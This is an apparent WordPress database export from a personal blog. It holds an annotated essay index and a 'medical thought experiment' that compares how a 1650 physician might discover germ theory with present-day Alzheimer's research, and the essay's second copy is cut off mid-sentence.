wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2022-04-27 12:59:31','2022-04-27 12:59:31','',22,'https://trevorklee.com/?p=281',0,'revision','',0),
(283,1,'2022-05-05 15:38:03','2022-05-05 15:38:03','<!-- wp:paragraph -->\n<p>Imagine you’re a doctor in the year 1650. You notice that your patients sometimes get violent diarrhea while they’re under your care, which makes them very sick. Sometimes they die. You’d like to stop this. You need to figure out what’s causing them to get violent diarrhea, and then prevent that cause. How do you do so?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://cdn.substack.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F2e8e5ef1-fd22-4743-b5a6-04e8f45d6173_1750x2500.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://cdn.substack.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F2e8e5ef1-fd22-4743-b5a6-04e8f45d6173_1750x2500.jpeg\" alt=\"Classic Plague Doctor Costume for Kids\" title=\"Classic Plague Doctor Costume for Kids\"/></a><figcaption>A historically accurate yet somehow adorable rendition of what you’d look like as you try to discover germ theory.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Well, you first have to start with the correct theory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re a traditional Galenist, you might start with a humoral theory of disease, in which you think that diseases are caused by an imbalance of humors, or vital fluids in the body. The way to prevent or treat diarrhea is to ensure a proper balance of vital fluids, which was accomplished by removing fluids (e.g. by bleeding).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not sure at what point you’d realize that the humoral theory wasn’t working. Presumably over the long run you’d realize that your treatments are either not affecting or even worsening the percentage of patients who get diarrhea, but in the short term this would depend a lot on your patient population.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you like posts on biology and occasionally other stuff sent out every-once-in-a-while, subscribe!<strong>✓</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Given that you have 4 different fluids that you could remove and many possible methods of removing them, it’d be difficult to realize that it wasn’t just your method of fluid removal that was flawed, but the entire theory of humoral removal. This would be especially true if you happen to randomly have a couple patients who recover from diarrhea while you’re experimenting with humoral removal on them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you believed in the miasmatic theory of disease, on the other hand, you’d believe that infectious diseases are caused by poisonous vapors, or miasmas, identifiable by their bad smell. In this theory, poisonous vapors emanate from decaying matter.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you had wealthy patients, you might instruct them to move away from any stagnant air or bad smell. Coincidentally, this might remove them from an actual source of infectious diarrhea, so I think it’d be easy to accidentally prevent or cure diarrhea through this method. It’d be easy to be led astray by this theory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, perhaps by some chance you would be a particularly well-read Galenist, and you would be familiar with his work&nbsp;<em>On the Different Types of Fever</em>, in which he speculates that plagues are caused by “seeds of plague”. You could extrapolate that perhaps diarrhea can also be caused by “seeds of plague”, and that somehow, your patients are ingesting seeds of plague that give them diarrhea. This would be pretty close to a correct understanding of infectious diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://cdn.substack.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fee0fe7f6-c62b-42b7-a481-ef5f7b1e20d7_1000x1333.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://cdn.substack.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fee0fe7f6-c62b-42b7-a481-ef5f7b1e20d7_1000x1333.jpeg\" alt=\"Seeds of Destruction (TV Movie 2011) - IMDb\" title=\"Seeds of Destruction (TV Movie 2011) - IMDb\"/></a><figcaption>I didn’t get good results when I searched “seeds of plague” on Google Images. This, on the other hand, is terrific.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>It’d be difficult and unethical to test this theory in people. However, if you also happened to be a well-resourced physician, you could presumably do some sort of experiment where you take a dog or rat that’s suffering from infectious diarrhea, then infect other dogs or rats using an oral solution of its excrement, thereby “spreading the seed” of infectious diarrhea. If you kept the dogs or rats in a well-ventilated area, you could simultaneously falsify the idea of “miasma” causing infectious diarrhea.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You’d have to make sure it was the seeds themselves that were causing the diarrhea, and not mere stomach upset. So you’d probably want to run a subsequent experiment where you mix the excrement in water, then boil it to kill the seed, and see if the dogs or rats still get diarrhea when they receive the oral solution.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you could assume the boiling killed the seed, you’d be able to prove that the seeds of infection caused the diarrhea in the dog or rat, and then you’d be able to extrapolate this cause of infectious diarrhea to humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you were particularly farsighted, you might be able to extrapolate to the importance of boiling water and washing hands in general as a means for preventing diarrhea. You’d have to make the jump to the idea that water that looks clear or hands that look clean can still harbor these seeds of diarrhea (i.e. that they can be too small to see).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, it’d be difficult to make the jump to the importance of using soap or alcohol to clean hands or surfaces, except for surfaces that remain visibly dirty after using water. There’s no obvious reason to believe that visibly clean surfaces can be further cleaned by using soap.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://cdn.substack.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8cec0181-af93-4583-8f74-52ebab8b97d6_329x224.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://cdn.substack.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8cec0181-af93-4583-8f74-52ebab8b97d6_329x224.jpeg\" alt=\"Age of Enlightenment: Anton Von Leeuwenhoek, to be considered 1st  microbiologist. | Anton van, Anton, Age of enlightenment\" title=\"Age of Enlightenment: Anton Von Leeuwenhoek, to be considered 1st  microbiologist. | Anton van, Anton, Age of enlightenment\"/></a><figcaption>You’d need a microscope to understand the prevalence of microscopic organisms, like this one!</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But I think that’s where your understanding of the causes and prevention of diarrhea would have to end. I don’t think it’d be possible to go any further, like somehow coming up with antibiotics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alexander Fleming famously came up with penicillin after showing the mold from penicillium killed part of a bacterial culture, but it’d be difficult to grow a bacterial culture as a physician in the 17th century. You’d need the materials, the ability to keep the culture sterile (which is begging the question without germ theory), and, most importantly, the connection between the bacterial culture and the seeds of infection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I certainly don’t think you could get all the way to Koch’s famous postulates, his four criteria for establishing that a given microorganism causes a disease. These are, in case you’ve forgotten from biology class, that&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>The microorganism must be found in abundance in all organisms suffering from the disease, but should not be found in healthy organisms.</li><li>The microorganism must be isolated from a diseased organism and grown in pure culture.</li><li>The cultured microorganism should cause disease when introduced into a healthy organism.</li><li>The microorganism must be reisolated from the inoculated, diseased experimental host and identified as being identical to the original specific causative agent.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Without a microscope or culture, postulates 1, 2, and 4 are literally impossible to establish, no matter how clever you are. There needed to be fundamental advances in glassworking and chemistry in order to make the necessary advances in germ theory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These things are clear in hindsight, but would have been very difficult to tell at the time. It would have been possible to tell that you were lacking some understanding of how exactly infectious diarrhea worked.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, to know that a device for seeing impossibly small creatures and a material that was capable of sustaining their growth was what was necessary to establish that understanding would not be obvious. These advances in technology were necessary for establishing a correct theory of infectious diarrhea, as this thought experiment shows.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>***</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Imagine you’re a neurologist in the year 2022. You notice that your patients sometimes get Alzheimer’s while they’re under your care. You’d like to stop this. You need to figure out what’s causing them to get Alzheimer’s, and then prevent that cause. How do you do so?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, first you’d have to start with the correct theory. If you’re a believer in the misfolded protein theory of Alzheimer’s, you’d likely believe that Alzheimer’s is caused by amyloid beta plaques. The way to prevent or treat Alzheimer’s would then be to remove the plaques or stop them from forming.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not sure at what point you’d realize the misfolded protein theory wasn’t working. Presumably, after several high profile failures of treatments specifically designed to remove amyloid plaques, you’d start to realize that the removal of amyloid plaques doesn’t result in improval of dementia or extension of lifespan. However, it might be difficult to realize that the issue isn’t with the precision or safety of the amyloid plaque treatment, but with the entire idea of the treatment itself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://cdn.substack.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F2f595290-3af5-4fa0-8d81-9e4cb4144b5b_650x729.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://cdn.substack.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F2f595290-3af5-4fa0-8d81-9e4cb4144b5b_650x729.jpeg\" alt=\"Alzheimer\'s Disease Insight Report: Current Therapies, Drug Pipeline and  Outlook\" title=\"Alzheimer\'s Disease Insight Report: Current Therapies, Drug Pipeline and  Outlook\"/></a><figcaption>Basically every red and blue shape is working off of a protein-misfolding hypothesis, with the idea that if they can just target the proteins a&nbsp;<em>little</em>&nbsp;better, Alzheimer’s will be cured.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>If you believed in the mitochondrial dysfunction theory of Alzheimer’s, on the other hand, you’d believe that Alzheimer’s is caused by malfunctioning mitochondria. In this theory, the overproduction of reactive oxygen species by malfunctioning or senescent mitochondria causes damage to neurons. The lack of effective treatments to rescue or repair mitochondria would make this a particularly difficult theory to falsify.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, perhaps by some chance you’d be a particularly clever neurologist, and you’d actually be familiar with the correct theory of Alzheimer’s, [...]. You’d extrapolate that [...], and that somehow [...]. This would be pretty close to a correct understanding of Alzheimer’s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’d be difficult to test this theory in people, given that you wouldn’t have access to treatments that could take advantage of this mechanism. However, perhaps you could come up with an experiment that took advantage of a similar mechanism in rats or dogs. In this experiment, you’d [...]. You’d then have to extrapolate these results to humans. This would be difficult, as the often decades long neurodegeneration of humans isn’t all that similar to what happens in rats or dogs in this experiment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But I think that’s where your understanding of the causes and prevention of Alzheimer’s would have to end. I don’t think it’d be possible to go any further, like somehow coming up with the most effective treatment for Alzheimer’s, [...]. The discoverer of [...] was only able to come up with it because he had the ability to see the real-time interactions and degeneration of neurons in human brains. This allowed him to test treatments in a way that made the crude model animal experiments of yesteryear quaint and outdated.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The fact that [...] is the cause of Alzheimer’s seems clear in hindsight. However, it’s important to note that the theory was not developed in isolation from tools and experimentation. It was the advances in the ability to “see” neurodegeneration in real-time that enabled this important medical discovery. Without it, this discovery would have been impossible, as this thought experiment shows.</p>\n<!-- /wp:paragraph -->','A medical thought experiment','','publish','closed','closed','','a-medical-thought-experiment','','','2022-05-05 15:38:03','2022-05-05 15:38:03','',0,'https://trevorklee.com/?page_id=283',0,'page','',0),
(284,1,'2022-05-05 15:38:03','2022-05-05 15:38:03','<!-- wp:paragraph -->\n<p>Imagine you’re a doctor in the year 1650. You notice that your patients sometimes get violent diarrhea while they’re under your care, which makes them very sick. Sometimes they die. You’d like to stop this. You need to figure out what’s causing them to get violent diarrhea, and then prevent that cause. How do you do so?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://cdn.substack.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F2e8e5ef1-fd22-4743-b5a6-04e8f45d6173_1750x2500.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://cdn.substack.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F2e8e5ef1-fd22-4743-b5a6-04e8f45d6173_1750x2500.jpeg\" alt=\"Classic Plague Doctor Costume for Kids\" title=\"Classic Plague Doctor Costume for Kids\"/></a><figcaption>A historically accurate yet somehow adorable rendition of what you’d look like as you try to discover germ theory.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Well, you first have to start with the correct theory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re a traditional Galenist, you might start with a humoral theory of disease, in which you think that diseases are caused by an imbalance of humors, or vital fluids in the body. The way to prevent or treat diarrhea is to ensure a proper balance of vital fluids, which was accomplished by removing fluids (e.g. by bleeding).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not sure at what point you’d realize that the humoral theory wasn’t working. Presumably over the long run you’d realize that your treatments are either not affecting or even worsening the percentage of patients who get diarrhea, but in the short term this would depend a lot on your patient population.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you like posts on biology and occasionally other stuff sent out every-once-in-a-while, subscribe!<strong>✓</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Given that you have 4 different fluids that you could remove and many possible methods of removing them, it’d be difficult to realize that it wasn’t just your method of fluid removal that was flawed, but the entire theory of humoral removal. This would be especially true if you happen to randomly have a couple patients who recover from diarrhea while you’re experimenting with humoral removal on them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you believed in the miasmatic theory of disease, on the other hand, you’d believe that infectious diseases are caused by poisonous vapors, or miasmas, identifiable by their bad smell. In this theory, poisonous vapors emanate from decaying matter.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you had wealthy patients, you might instruct them to move away from any stagnant air or bad smell. Coincidentally, this might remove them from an actual source of infectious diarrhea, so I think it’d be easy to accidentally prevent or cure diarrhea through this method. It’d be easy to be led astray by this theory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, perhaps by some chance you would be a particularly well-read Galenist, and you would be familiar with his work&nbsp;<em>On the Different Types of Fever</em>, in which he speculates that plagues are caused by “seeds of plague”. You could extrapolate that perhaps diarrhea can also be caused by “seeds of plague”, and that somehow, your patients are ingesting seeds of plague that give them diarrhea. This would be pretty close to a correct understanding of infectious diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://cdn.substack.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fee0fe7f6-c62b-42b7-a481-ef5f7b1e20d7_1000x1333.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://cdn.substack.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fee0fe7f6-c62b-42b7-a481-ef5f7b1e20d7_1000x1333.jpeg\" alt=\"Seeds of Destruction (TV Movie 2011) - IMDb\" title=\"Seeds of Destruction (TV Movie 2011) - IMDb\"/></a><figcaption>I didn’t get good results when I searched “seeds of plague” on Google Images. This, on the other hand, is terrific.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>It’d be difficult and unethical to test this theory in people. However, if you also happened to be a well-resourced physician, you could presumably do some sort of experiment where you take a dog or rat that’s suffering from infectious diarrhea, then infect other dogs or rats using an oral solution of its excrement, thereby “spreading the seed” of infectious diarrhea. If you kept the dogs or rats in a well-ventilated area, you could simultaneously falsify the idea of “miasma” causing infectious diarrhea.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You’d have to make sure it was the seeds themselves that were causing the diarrhea, and not mere stomach upset. So you’d probably want to run a subsequent experiment where you mix the excrement in water, then boil it to kill the seed, and see if the dogs or rats still get diarrhea when they receive the oral solution.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you could assume the boiling killed the seed, you’d be able to prove that the seeds of infection caused the diarrhea in the dog or rat, and then you’d be able to extrapolate this cause of infectious diarrhea to humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you were particularly farsighted, you might be able to extrapolate to the importance of boiling water and washing hands in general as a means for preventing diarrhea. You’d have to make the jump to the idea that water that looks clear or hands that look clean can still harbor these seeds of diarrhea (i.e. that they can be too small to see).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, it’d be difficult to make the jump to the importance of using soap or alcohol to clean hands or surfaces, except for surfaces that remain visibly dirty after using water. There’s no obvious reason to believe that visibly clean surfaces can be further cleaned by using soap.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://cdn.substack.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8cec0181-af93-4583-8f74-52ebab8b97d6_329x224.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://cdn.substack.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8cec0181-af93-4583-8f74-52ebab8b97d6_329x224.jpeg\" alt=\"Age of Enlightenment: Anton Von Leeuwenhoek, to be considered 1st  microbiologist. | Anton van, Anton, Age of enlightenment\" title=\"Age of Enlightenment: Anton Von Leeuwenhoek, to be considered 1st  microbiologist. | Anton van, Anton, Age of enlightenment\"/></a><figcaption>You’d need a microscope to understand the prevalence of microscopic organisms, like this one!</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But I think that’s where your understanding of the causes and prevention of diarrhea would have to end. I 